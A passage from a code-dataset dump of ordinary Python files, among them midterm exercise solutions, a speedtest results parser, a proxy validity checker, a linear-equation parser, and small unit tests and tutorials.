0\n while total <= k:\n if total == k:\n return True\n x+=1\n total+=x\n return False\n\n\n# Problem 5\n# Write a Python function that takes in a string and prints out a version of this string that does not contain any vowels, according to the specification below. Vowels are uppercase and lowercase 'a', 'e', 'i', 'o', 'u'.\n\n# For example, if s = \"This is great!\" then print_without_vowels will print Ths s grt!. If s = \"a\" then print_without_vowels will print the empty string .\n\ndef print_without_vowels(s):\n '''\n s: the string to convert\n Finds a version of s without vowels and whose characters appear in the \n same order they appear in s. Prints this version of s.\n Does not return anything\n '''\n vowels = 'aeiou'\n new_string = ''\n for c in s:\n if c not in vowels:\n new_string += c\n print(new_string)\n\n\n# Problem 6\n# Write a function that satisfies the following docstring:\n\n# For example, if\n\n# largest_odd_times([2,2,4,4]) returns None\n# largest_odd_times([3,9,5,3,5,3]) returns 9\n\ndef largest_odd_times(L):\n \"\"\" Assumes L is a non-empty list of ints\n Returns the largest element of L that occurs an odd number\n of times in L. If no such element exists, returns None \"\"\"\n counts = {}\n largest = 0\n\n for i in L:\n counts[i] = counts.get(i,0) + 1\n\n for i in counts:\n if counts[i] % 2 == 1 and i > largest:\n largest = i\n\n if not largest:\n return None\n else:\n return largest\n\n\n# Problem 7\n# Write a function called dict_invert that takes in a dictionary with immutable values and returns the inverse of the dictionary. The inverse of a dictionary d is another dictionary whose keys are the unique dictionary values in d. The value for a key in the inverse dictionary is a sorted list (increasing order) of all keys in d that have the same value in d.\n\n# Here are two examples:\n\n# If d = {1:10, 2:20, 3:30} then dict_invert(d) returns {10: [1], 20: [2], 30: [3]}\n# If d = {1:10, 2:20, 3:30, 4:30} then dict_invert(d) returns {10: [1], 20: [2], 30: [3, 4]}\n# If d = {4:True, 2:True, 0:True} then dict_invert(d) returns {True: [0, 2, 4]}\n\ndef dict_invert(d):\n '''\n d: dict\n Returns an inverted dictionary according to the instructions above\n '''\n new_dict = {}\n #iterate through original dict\n for k in d:\n #add value of key as new key to new_dict, with list(original key) as value\n if d[k] not in new_dict:\n new_dict[d[k]] = [k]\n #if key is already in new_dict, append the list with original key value\n else:\n new_dict[d[k]].append(k)\n for k in new_dict:\n new_dict[k].sort()\n return new_dict\n\n\n# Problem 8\n# Write a function called general_poly, that meets the specifications below. For example, general_poly([1, 2, 3, 4])(10) should evaluate to 1234 because 1∗103+2∗102+3∗101+4∗100.\n\ndef general_poly(L):\n \"\"\" L, a list of numbers (n0, n1, n2, ... nk)\n Returns a function, which when applied to a value x, returns the value \n n0 * x^k + n1 * x^(k-1) + ... nk * x^0 \"\"\"\n def evaluate(x):\n total = 0\n exp = len(L)-1\n for n in L:\n total += n * x**exp\n exp -= 1\n return total\n return evaluate\n\n\n# Write a Python function that takes in two lists and calculates whether they are permutations of each other. The lists can contain both integers and strings. We define a permutation as follows:\n\n# - the lists have the same number of elements\n# - list elements appear the same number of times in both lists\n\n# If the lists are not permutations of each other, the function returns False. \n# If they are permutations of each other, the function returns a tuple consisting of the following elements:\n\n# - the element occuring the most times\n# - how many times that element occurs\n# - the type of the element that occurs the most times\n\n# If both lists are empty return the tuple (None, None, None). If more than one element occurs the most number of times, you can return any of them.\n\n# For example,\n\n# if L1 = ['a', 'a', 'b'] and L2 = ['a', 'b'] then is_list_permutation returns False\n# if L1 = [1, 'b', 1, 'c', 'c', 1] and L2 = ['c', 1, 'b', 1, 1, 'c'] then is_list_permutation returns (1, 3, ) because the integer 1 occurs the most, 3 times, and the type of 1 is an integer (note that the third element in the tuple is not a string).\n\ndef is_list_permutation(L1, L2):\n '''\n L1 and L2: lists containing integers and strings\n Returns False if L1 and L2 are not permutations of each other. \n If they are permutations of each other, returns a \n tuple of 3 items in this order: \n the element occurring most, how many times it occurs, and its type\n '''\n def count(L):\n d = {}\n for i in L:\n d[i] = d.get(i, 0) + 1\n return d\n\n L1_count = count(L1)\n L2_count = count(L2)\n\n if not L1 and not L2:\n return (None, None, None)\n elif L1_count == L2_count:\n most_freq = max(L1_count, key = lambda x: L1_count[x])\n return most_freq, L1_count[most_freq], type(most_freq)\n else:\n return False\n\n\n\n\n\n\n\n\n\n","sub_path":"Midterm.py","file_name":"Midterm.py","file_ext":"py","file_size_in_byte":5646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"65143560","text":"import pickle\nimport pandas as pd\nfrom datetime import datetime\n\nclass FileNotExist(Exception):\n\tpass\n\nclass Results:\n\n\tdef __init__(self, path):\n\t\tself.path = path\n\t\tself.results = []\n\t\ttry:\n\t\t\twith open(self.path, \"r\") as f:\n\t\t\t\tcontent = pd.read_csv(f)\n\t\texcept FileNotFoundError:\n\t\t\traise FileNotExist(\"\\nFile \\\"%s\\\" does not exist\" % os.path.basename(self.path))\n\t\theader_convert = {\n\t\t\t\"IP_ADDRESS\": \"ip\",\n\t\t\t\"TEST_DATE\": \"time\",\n\t\t\t\"TIME_ZONE\": \"time_zone\",\n\t\t\t\"DOWNLOAD_MEGABITS\": \"download\",\n\t\t\t\"UPLOAD_MEGABITS\": \"upload\",\n\t\t\t\"LATENCY_MS\": \"latency\",\n\t\t\t\"SERVER_NAME\": \"server\",\n\t\t\t\"DISTANCE_KILOMETERS\": \"server_distance\",\n\t\t\t\"CONNECTION_MODE\": \"mode\",\n\t\t}\n\t\tfor index, row in content.iterrows():\n\t\t\tdata = {}\n\t\t\tfor header in content:\n\t\t\t\tif header_convert[header] == \"time\":\n\t\t\t\t\ttry:\n\t\t\t\t\t\trow[header] = datetime.strptime(row[header], \"%m/%d/%Y %I:%M AM\")\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\trow[header] = datetime.strptime(row[header], \"%m/%d/%Y %I:%M PM\")\n\t\t\t\telif header_convert[header] == \"mode\":\n\t\t\t\t\trow[header] = row[header].capitalize()\n\t\t\t\tdata[header_convert[header]] = row[header]\n\t\t\tself.results.append(data)\n\n\tdef Save(self, path=\"data.pickle\"):\n\t\twith open(path, \"wb\") as f:\n\t\t\tpickle.dump(self, f)\n\n\tdef Load(self, path=\"data.pickle\"):\n\t\twith open(path, \"rb\") as f:\n\t\t\treturn pickle.load(f)\n\n\tdef __getitem__(self, key):\n\t\treturn self.results[key]\n\n\tdef __missing__(self, key):\n\t\tpass\n\n\tdef __repr__(self):\n\t\tpreview = \"\"\n\t\tpreview_format = \"Ip:\\t\\t\\t%s\\nDownload Speed:\\t\\t%s\\nUpload Speed:\\t\\t%s\\n\\n\"\n\t\tif len(self.results) > 6:\n\t\t\tfor result in self.results[:3]:\n\t\t\t\tpreview += preview_format % (result[\"ip\"], result[\"download\"], result[\"upload\"])\n\t\t\tpreview += \"......................................\\n......................................\\n......................................\\n\\n\"\n\t\t\tfor result in self.results[-3:]:\n\t\t\t\tpreview += preview_format % (result[\"ip\"], result[\"download\"], result[\"upload\"])\n\t\telse:\n\t\t\tfor result in self.results:\n\t\t\t\tpreview += str(result) + \"\\n\"\n\t\treturn preview[:-2]\n\n\tdef __str__(self):\n\t\treturn self.__repr__()\n\n\tdef __list__(self):\n\t\treturn self.results\n\n\tdef __len__(self):\n\t\treturn len(self.results)\n\n\tdef __iter__(self):\n\t\treturn iter(self.results)\n","sub_path":"speedtest.py","file_name":"speedtest.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"273051750","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n File Name: ProxyValidSchedule.py\n Description : 验证useful_proxy_queue中的代理,将不可用的移出\n Author : JHao\n date: 2017/3/31\n-------------------------------------------------\n Change Activity:\n 2017/3/31: 验证useful_proxy_queue中的代理\n-------------------------------------------------\n\"\"\"\n__author__ = 'JHao'\n\nimport sys\nfrom time import sleep\n\nsys.path.append('../')\n\nfrom Util.utilFunction import validUsefulProxy\nfrom Manager.ProxyManager import ProxyManager\nfrom Util.LogHandler import LogHandler\nfrom Queue import Queue\nfrom threading import Thread\n\nMAX_THREADS = 20\nproxies_queue = Queue(maxsize=MAX_THREADS)\n\n\nclass ProxyValidSchedule(ProxyManager):\n def __init__(self):\n ProxyManager.__init__(self)\n self.log = LogHandler('valid_schedule')\n self.db.changeTable(self.useful_proxy_queue)\n\n def __validProxy(self):\n \"\"\"\n 验证代理\n :return:\n \"\"\"\n def valid_proxy_in_queue():\n while True:\n proxy = proxies_queue.get()\n if isinstance(proxy, bytes):\n proxy = proxy.decode('utf-8')\n\n if validUsefulProxy(proxy):\n # 成功->计数器加1\n self.db.inckey(proxy, 1)\n self.log.debug('validProxy_b: {} validation pass'.format(proxy))\n else:\n # 失败->计数器减一\n self.db.inckey(proxy, -1)\n # self.db.delete(proxy)\n self.log.info('validProxy_b: {} validation fail'.format(proxy))\n value = self.db.getvalue(proxy)\n if value and int(value) < -5:\n # 计数器小于-5删除该代理\n self.db.delete(proxy)\n\n for i in range(MAX_THREADS):\n thread = Thread(target=valid_proxy_in_queue)\n thread.daemon = True\n thread.start()\n\n while True:\n for each_proxy in self.db.getAll():\n proxies_queue.put(each_proxy)\n sleep(300)\n\n def main(self):\n self.__validProxy()\n\n\ndef run():\n p = ProxyValidSchedule()\n p.main()\n\n\nif __name__ == '__main__':\n p = ProxyValidSchedule()\n p.main()\n","sub_path":"Schedule/ProxyValidSchedule.py","file_name":"ProxyValidSchedule.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"330995989","text":"import re\nimport numpy as np\nimport LU as temp\nimport Gauss_Jordan\nimport Gaussian_elimination\nimport seidel\ncon = \"\"\nstring = \"\"\nflag = 0\n\ndef Parse(equations,type,n,IntialGuesses,ea,it): # It will read the entire file\n\n global con\n global a\n global x\n a = np.zeros((n, n + 1))\n x = np.zeros(n)\n k=0\n alphabets = {}\n while k < n:\n con = equations[k]\n con=con.replace(' ','')\n for element in con:\n if element.isalpha():\n alphabets[element] = 0\n k += 1\n j = 0\n for i in alphabets:\n alphabets[i] = j\n j += 1\n k = 0\n while k < n:\n con = equations[k]\n con=con.replace(' ','')\n count=0\n while(count < len(con)):\n if con[count].isalpha() and ((con[count-2].isdigit() == False and con[count-1].isdigit() == False) or (count == 0)):\n con = con[:count] + '1*' + con[count:]\n count += 1\n count = 0\n z = re.findall(r\"[+-]?\\d+(?:\\.\\d+)?\", con)\n f=0\n for element in con:\n if element.isalpha() and (con[count-2].isdigit() or con[count-1].isdigit()):\n a[k][alphabets[element]]=z[f]\n f += 1\n if count+1 >= len(con) and element.isdigit():\n a[k][n] = -1*float(z[f])\n f += 1\n elif count+1 < len(con) and element.isdigit():\n if con[count + 1] != \"*\" and con[count + 1] != \".\" and con[count + 1].isdigit()==False and con[count + 1].isalpha()==False:\n a[k][n] = -1*float(z[f])\n f += 1\n count += 1\n k += 1\n\n if type == 'LU':\n arr1=temp.LU(a)\n f = open(\"LU.txt\", \"w\")\n for i in range (0 , len(arr1)):\n f.write(str(arr1[i]))\n f.write(\" \")\n f.close()\n return arr1,string\n elif type==\"Gaussian-jordan\":\n arr2 = Gauss_Jordan.Gaussian_jordan(a)\n f = open(\"jordan.txt\", \"w\")\n for i in range(0, len(arr2)):\n f.write(str(arr2[i]))\n f.write(\" \")\n f.close()\n\n\n elif type=='Gaussian-elimination':\n arr3 =Gaussian_elimination.Gaussian_elimination(a)\n f = open(\"elimination.txt\", \"w\")\n for i in range(0, len(arr3)):\n f.write(str(arr3[i]))\n f.write(\" \")\n f.close()\n\n elif type == 'seidel':\n results=[]\n errors=[]\n seidel.seidel(a,IntialGuesses,ea,it)\n\n f = open(\"seidel.txt\", \"w\")\n for i in range(0, len(results)):\n f.write(str(i))\n f.write(\" \")\n for j in range (0,len(a)):\n\n f.write(str(results[i][j]))\n f.write(\" \")\n for j in range(0, len(a)):\n if(i>0):\n f.write(str(errors[i-1][j]))\n f.write(\" \")\n f.write(\"\\n\")\n f.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Parse.py","file_name":"Parse.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"592590354","text":"from setupy.core.model import Setup\nfrom setupy.core.setting import Setting\nfrom setupy.core.serialize import serialize_imports, serialize_settings, serialize_features\nfrom test.mocks import MockDependencyLoader\n\n\ndef test_serializer_can_serialize_with_imports():\n setup = Setup(MockDependencyLoader())\n setup.add_import(\"from setuptools import setup\")\n setup.add_import(\"from setuptools import find_packages\")\n setup.add_import(\"from os import path\")\n setup.add_import(\"from io import open\")\n\n assert serialize_imports(setup) == \"\"\"from io import open\nfrom os import path\n\nfrom setuptools import find_packages, setup\n\"\"\"\n\n\ndef test_serializer_can_serialize_features():\n mdl = MockDependencyLoader()\n mdl.a_feature(\"test\", code=\"\"\"def merge(*dicts):\n r = {}\n for d in dicts:\n r.update(d)\n return r\"\"\")\n\n mdl.a_feature(\"test2\", code=\"\"\"def merge(*dicts):\n r = {}\n for d in dicts:\n r.update(d)\n return r\"\"\")\n\n setup = Setup(mdl)\n setup.add_feature(\"test\")\n setup.add_feature(\"test2\")\n\n assert serialize_features(setup) == \"\"\"def merge(*dicts):\n r = {}\n for d in dicts:\n r.update(d)\n return r\n\ndef merge(*dicts):\n r = {}\n for d in dicts:\n r.update(d)\n return r\"\"\"\n\n\ndef test_serializer_can_serialize_settings():\n mdl = MockDependencyLoader()\n mdl.a_setting('BASE', properties={\n \"name\": \"\\\"setupy\\\"\",\n \"version\": \"\\\"0.1.0\\\"\",\n \"packages\": \"find_packages(exclude=['contrib', 'docs', 'test'])\"\n })\n\n setup = Setup(mdl)\n setup.add_setting('BASE')\n\n serialized_settings, _ = serialize_settings(setup)\n\n assert serialized_settings == \"\"\"BASE = {\n \"name\": \"setupy\",\n \"version\": \"0.1.0\",\n \"packages\": find_packages(exclude=['contrib', 'docs', 'test'])\n}\"\"\"\n\n\ndef test_serializer_can_deserialize_nested_dictionary_setting():\n mdl = MockDependencyLoader()\n mdl.a_setting('BASE', properties={\n \"name\": \"\\\"setupy\\\"\",\n \"version\": \"\\\"0.1.0\\\"\",\n \"packages\": \"find_packages(exclude=['contrib', 'docs', 'test'])\",\n \"extra_requires\": {\n \"dev\": [\"\\\"pytest\\\"\"]\n }\n })\n\n setup = Setup(mdl)\n setup.add_setting('BASE')\n\n serialized_settings, _ = serialize_settings(setup)\n\n assert serialized_settings == \"\"\"BASE = {\n \"name\": \"setupy\",\n \"version\": \"0.1.0\",\n \"packages\": find_packages(exclude=['contrib', 'docs', 'test']),\n \"extra_requires\": {\n \"dev\": [\"pytest\"]\n }\n}\"\"\"\n","sub_path":"test/test_serializer.py","file_name":"test_serializer.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"225359867","text":"#!/usr/bin/python3.7\n# -*-coding:Utf-8 -*\n\ndef check_file(filename):\n exist = True\n try:\n fd_file = open(filename, \"r\")\n except FileNotFoundError:\n fd_file = open(filename, \"w\")\n exist = False\n finally:\n fd_file.close()\n return exist\n\ndef player_score(name, add=0):\n if check_file(\"scores.ini\") == False:\n score = {name: 0 + add}\n else:\n fd_file = open(\"scores.ini\", \"rb\")\n file_unpick = Unpickler(fd_file)\n score = file_unpick.load()\n fd_file.close()\n if name in score:\n score[name] += add\n else:\n score[name] = add\n fd_file = open(\"scores.ini\", \"wb\")\n file_pick = Pickler(fd_file)\n file_pick.dump(score)\n fd_file.close()\n return score[name]\n","sub_path":"file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"516647774","text":"'''\nawk-py.standalone 0.0.0 Canary\n'''\nimport sys\npath = sys.argv[0]\nencoding = 'utf-8'\nif len(sys.argv) >= 2 and sys.argv[1] != 'utf-8':\n encoding = sys.argv[1]\nfile = open(path,'r')\nsource = file.read()\nfile.close()\ndel file\nfile = open(path,'w')\nlines = source.split('\\n')\noptions = sys.argv[2:]\ndef end(file,source):\n file.write(source)\n file.close()\n","sub_path":"core/lib/standalone.py","file_name":"standalone.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"142216309","text":"import unittest\n\nimport numpy as np\nimport numpy.testing as npt\n\nfrom biomodel import periodic\n\n\nclass TestPeriodicBox(unittest.TestCase):\n\n def setUp(self):\n self.box = periodic.PeriodicBox(np.array([10.0, 10.0, 10.0]))\n\n def test_difference(self):\n npt.assert_almost_equal(\n self.box.difference(\n np.array([1.0, 1.0, 1.0]),\n np.array([2.0, 2.0, 2.0])\n ),\n np.array([-1.0, -1.0, -1.0])\n )\n npt.assert_almost_equal(\n self.box.difference(\n np.array([4.9, 4.9, 4.9]),\n np.array([-4.9, -4.9, -4.9])\n ),\n np.array([-0.2, -0.2, -0.2])\n )\n\n def test_center(self):\n npt.assert_almost_equal(\n self.box.center(np.array([[1.0, 1.0, 1.0], [2.0, 2.0, 2.0]])),\n np.array([1.5, 1.5, 1.5])\n )\n","sub_path":"tests/test_periodic.py","file_name":"test_periodic.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"548954287","text":"from __future__ import division\nfrom collections import defaultdict\nfrom nltk.tokenize import TweetTokenizer\nfrom nltk.tag import PerceptronTagger\nfrom collections import Counter\nfrom nltk.data import find\nimport re\n\nfrom bigFiveFeatureExtraction import BigFiveFeatureExtraction\n\nPICKLE = \"averaged_perceptron_tagger.pickle\"\nAP_MODEL_LOC = 'file:'+str(find('taggers/averaged_perceptron_tagger/'+PICKLE))\n\nclass OpenFeatureExtraction(BigFiveFeatureExtraction):\n\n def __init__(self, users, truth_users, stopwords_file, swagwords_file, emotion_words_files):\n self.structural_features = defaultdict(list)\n self.type = 6\n self.data = defaultdict(list)\n self.perceptron_tagger = PerceptronTagger(load=False)\n self.perceptron_tagger.load(AP_MODEL_LOC)\n\n super(OpenFeatureExtraction, self).__init__(users, truth_users, stopwords_file, swagwords_file, emotion_words_files)\n\n\n def extract_features(self):\n docs=[]\n trigram_count = {}\n\n for key, value in self.sorted_users.iteritems():\n\n text, url_count = self.process_links(value)\n #self.structural_features[key].append(url_count)\n\n text, mention_count = self.process_mentions(text)\n #self.structural_features[key].append(mention_count)\n\n text, hashtag_count = self.process_hashtags(text)\n self.structural_features[key].append(hashtag_count)\n\n # uppercase words count\n uppercase_words_count = self.uppercase_words_count(text)\n #self.structural_features[key].append(uppercase_words_count)\n\n stopwords_count = self.count_stopwords(text)\n #self.structural_features[key].append(stopwords_count)\n\n # character overload count\n char_count = self.char_count(''.join(value))\n char_overload_count = self.char_overload_count(''.join(value))\n #self.structural_features[key].append(char_overload_count/char_count)\n\n # tweet length ratio\n tweet_length_avg = self.tweet_length_avg(value)\n self.structural_features[key].append(tweet_length_avg)\n\n # word length ratio\n word_length_avg = self.word_length_avg(value)\n #self.structural_features[key].append(word_length_avg)\n\n # positive words count\n positive_words_count = self.count_feature_from_file(text, self.positive_words)\n # self.structural_features[key].append(positive_words_count)\n\n # negative words count\n negative_words_count = self.count_feature_from_file(text, self.negative_words)\n # self.structural_features[key].append(negative_words_count)\n\n\n pos_tags = self.get_pos_tags(text)\n F_score = self.calculate_F_Score(pos_tags)\n self.structural_features[key].append(F_score)\n\n docs.append('||'.join(text))\n\n self.data = self.join_users_truth(self.structural_features, self.do_nothing, self.type)\n self.feature_number = len(self.structural_features.values()[0])\n\n\n def get_train_test_data(self):\n return self.prepare_data(self.data, self.feature_number)\n\n # returns pos tags of all tweets for one user in nested list format - [[pos_tags_first_tweet],[pos_tags_second_tweet], ... ,[pos_tags_last_tweet]]\n def get_pos_tags(self, input):\n tweet_tokenizer = TweetTokenizer()\n sentences = [tweet_tokenizer.tokenize(re.sub(r'[\"]', '', tweet)) for tweet in input]\n return self.perceptron_tagger.tag_sents(sentences)\n\n # calculates F_score based on pos tags for each user\n def calculate_F_Score(self, tagged):\n counts = Counter(tag[:2] for tagged_sentence in tagged for word, tag in tagged_sentence)\n F_score = 0.5 * ((counts['NN'] + counts['JJ'] + counts['IN'] + counts['DT']) -\n (counts['PR'] + counts['WP'] + counts['WD'] + counts['VB'] +\n counts['MD'] + counts['RB'] + counts['WR'] + counts['UH']) + 100)\n return F_score\n\n\n def do_nothing(self, args):\n return float(args)*1.0","sub_path":"AuthorProfiling/openFeatureExtraction.py","file_name":"openFeatureExtraction.py","file_ext":"py","file_size_in_byte":4103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"587966608","text":"from distutils.core import setup, Extension\n\nexample_module = Extension('_mode7', sources=['mode7_wrap.c', 'mode7.c'])\n\nsetup(name='examplec', version='0.1', \n author='Hendrik Leibrandt', \n description=\"\"\"Builds the C++ module for directly access the pixel\ndata of an pygame SDL bindingsurface refference, to do boost up speed\nwhen doing the Mode7-effect.\"\"\", \n ext_modules=[example_module], py_modules=['mode7'])\n","sub_path":"lib/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"375698927","text":"import os\r\nimport glob\r\nimport random\r\nimport shutil\r\n\r\ndef data_split():\r\n\r\n # Set data directory\r\n data_dir = '/home/teo/storage/Data'\r\n\r\n # Get mask list\r\n msk_list = sorted(glob.glob(data_dir + '/Masks/car_imagenet/*.csv'))\r\n\r\n # Define train and val folders:\r\n paths = []\r\n img_trainpath = data_dir + '/Images/car_imagenet/train'\r\n paths.append(img_trainpath)\r\n img_valpath = data_dir + '/Images/car_imagenet/val'\r\n paths.append(img_valpath)\r\n img_testpath = data_dir + '/Images/car_imagenet/test'\r\n paths.append(img_testpath)\r\n msk_trainpath = data_dir + '/Masks/car_imagenet/train'\r\n paths.append(msk_trainpath)\r\n msk_valpath = data_dir + '/Masks/car_imagenet/val'\r\n paths.append(msk_valpath)\r\n msk_testpath = data_dir + '/Masks/car_imagenet/test'\r\n paths.append(msk_testpath)\r\n\r\n # Check if folders exist and create them otherwise\r\n for f in paths:\r\n if os.path.isdir(f) == 0:\r\n os.mkdir(f)\r\n\r\n # Randomize data\r\n random.seed(1)\r\n num_msk = len(msk_list)\r\n idx = [i for i in range(num_msk)]\r\n random.shuffle(idx)\r\n\r\n small = len(idx)\r\n\r\n # Move data to corresponding folders\r\n for i in range(small):\r\n name = os.path.basename(msk_list[idx[i]][0:-9])\r\n msk_dir = data_dir + '/Masks/car_imagenet/' + name + '_mask.csv'\r\n img_dir = data_dir + '/Images/car_imagenet/' + name + '.JPEG'\r\n\r\n if i < 0.2*small - 1:\r\n msk_dest = data_dir + '/Masks/car_imagenet/test/' + name + '_mask.csv'\r\n img_dest = data_dir + '/Images/car_imagenet/test/' + name + '.JPEG'\r\n\r\n elif i < 0.36*small - 1:\r\n msk_dest = data_dir + '/Masks/car_imagenet/val/' + name + '_mask.csv'\r\n img_dest = data_dir + '/Images/car_imagenet/val/' + name + '.JPEG'\r\n\r\n else:\r\n msk_dest = data_dir + '/Masks/car_imagenet/train/' + name + '_mask.csv'\r\n img_dest = data_dir + '/Images/car_imagenet/train/' + name + '.JPEG'\r\n\r\n # Move the data -> be careful\r\n shutil.move(img_dir, img_dest)\r\n shutil.move(msk_dir, msk_dest)\r\n\r\nif __name__ == '__main__':\r\n data_split()","sub_path":"Python/scripts/utils/data_split.py","file_name":"data_split.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"108624919","text":"#!/usr/bin/env python3\n\nimport sys\nimport random\n\ndef maximum(lst):\n assert len(lst) > 0\n\n # base case (singleton)\n if len(lst) == 1:\n return lst[0]\n\n # recursive case (split the lists up, return the larger list)\n split = len(lst)//2\n return maxi(maximum(lst[:split]), maximum(lst[split:]))\n\n\n# charles daly\ndef maxi(a, b):\n if a >= b:\n return a\n else:\n return b\n\n\ndef main():\n args = sys.argv[1:]\n a = [int(arg) for arg in args]\n print(maximum(a))\n for i in range(100):\n rand = [random.randint(-100, 100) for n in range(100)]\n max_native = max(rand)\n max_implem = maximum(rand)\n if max_native != max_implem:\n print(i)\n print(rand, max_native, max_implem)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"year2_1819/computer_programming_3_algorithms_data_structures/labs/w1/recursive_max_dev.py","file_name":"recursive_max_dev.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"51579573","text":"N = int(input())\n*A, = map(int, input().split())\nans = 0\nwhile True:\n ok = True\n for i in range(N):\n if A[i] % 2 != 0:\n ok = False\n break\n A[i] //= 2\n if not ok:\n break\n ans += 1\nprint(ans)\n","sub_path":"atcoder/ABC/081/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"364403834","text":"# ==================================================================================================\n# Copyright 2011 Twitter, Inc.\n# --------------------------------------------------------------------------------------------------\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this work except in compliance with the License.\n# You may obtain a copy of the License in the LICENSE file, or at:\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==================================================================================================\n\n__author__ = 'John Sirios'\n\nfrom twitter.common.collections import OrderedSet\nfrom twitter.pants.ant.ide import _extract_target\n\nimport unittest\n\nclass MockTarget(object):\n def __init__(self,\n name,\n is_codegen = False,\n internal_dependencies = None,\n jar_dependencies = None,\n rev = None):\n self.name = name\n self.is_codegen = is_codegen\n self.internal_dependencies = OrderedSet(internal_dependencies)\n self.jar_dependencies = OrderedSet(jar_dependencies)\n self.excludes = []\n self.rev = rev\n\n def __repr__(self):\n return self.name\n\n\nclass IdeTest(unittest.TestCase):\n def test_extract_target(self):\n jar1 = MockTarget('jar1', rev = 1)\n jar2 = MockTarget('jar2', rev = 1)\n jar3 = MockTarget('jar3', rev = 1)\n jar4 = MockTarget('jar4', rev = 1)\n\n f = MockTarget('f', is_codegen = True)\n b = MockTarget('b', is_codegen = True, internal_dependencies = [f])\n d = MockTarget('d', internal_dependencies = [f], jar_dependencies = [jar1])\n e = MockTarget('e', jar_dependencies = [jar2])\n\n # This codegen target has a jar dependency, but it should not be rolled up since the codegen\n # target itself is grafted into the dep tree\n c = MockTarget('c',\n is_codegen = True,\n internal_dependencies = [d, e],\n jar_dependencies = [jar3])\n\n a = MockTarget('a', internal_dependencies = [c, b, e], jar_dependencies = [jar4])\n\n internal_deps, jar_deps = _extract_target(a, lambda target: True)\n\n self.assertEquals(OrderedSet([c, b]), internal_deps)\n self.assertEquals(OrderedSet([f]), c.internal_dependencies,\n 'Expected depth first walk to roll up f to 1st visited dependee')\n self.assertEquals(OrderedSet(), b.internal_dependencies,\n 'Expected depth first walk to roll up f to 1st visited dependee')\n\n self.assertEquals(set([jar1, jar2, jar4]), set(jar_deps))\n","sub_path":"tests/python/twitter/pants/ant/test-ide.py","file_name":"test-ide.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"183255248","text":"import unittest\nfrom src.blockcipher.modules import transform\n\nclass TestTransform(unittest.TestCase):\n\n\tdef test_32_transform(self):\n\t\t# test 64 bit\n\t\tinput_variable = b'TEST'\n\t\texpected = b'TETS'\n\t\ttransformed_bytes = transform.shift_rows(input_variable)\n\t\tself.assertEqual(transformed_bytes, expected)\n\n\tdef test_64_transform(self):\n\t\t# test 64 bit\n\t\tinput_variable = b'TESTFRED'\n\t\texpected = b'TETSFRDE'\n\t\ttransformed_bytes = transform.shift_rows(input_variable)\n\t\tself.assertEqual(transformed_bytes, expected)\n\n\tdef test_128_transform(self):\t\n\t\t# test 128 bit\n\t\tinput_variable = b'TESTFREDTESTFRED'\n\t\texpected = b'TESTDFRESTTEREDF'\n\t\ttransformed_bytes = transform.shift_rows(input_variable)\n\t\tself.assertEqual(transformed_bytes, expected)\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"test/test_modules/test_transform.py","file_name":"test_transform.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"241943810","text":"# un dictionnaire\n{\"nom\": \"Le Docteur\", \"Origine\": \"Gallifrey\", \"Race\": \"Maître du temps\"}\n\nd = {\"nom\": \"Le Docteur\", \"Origine\": \"Gallifrey\", \"Race\": \"Maître du temps\"}\ndir(d)\n\n# récupération d'un élément\nd[\"nom\"]\n\n# ajout d'un émément\nd[\"Vaisseau\"] = \"TARDIS\"\n\n# suppression d'un élément\ndel(d[\"Vaisseau\"])\n\n# la liste des clés\nd.keys()\nlist(d.keys())\n\n# la liste des valeurs\nlist(d.values())\n","sub_path":"fichiers_source_decouverte_de_python/Chapitre_01/06.les dictionnaires.py","file_name":"06.les dictionnaires.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} 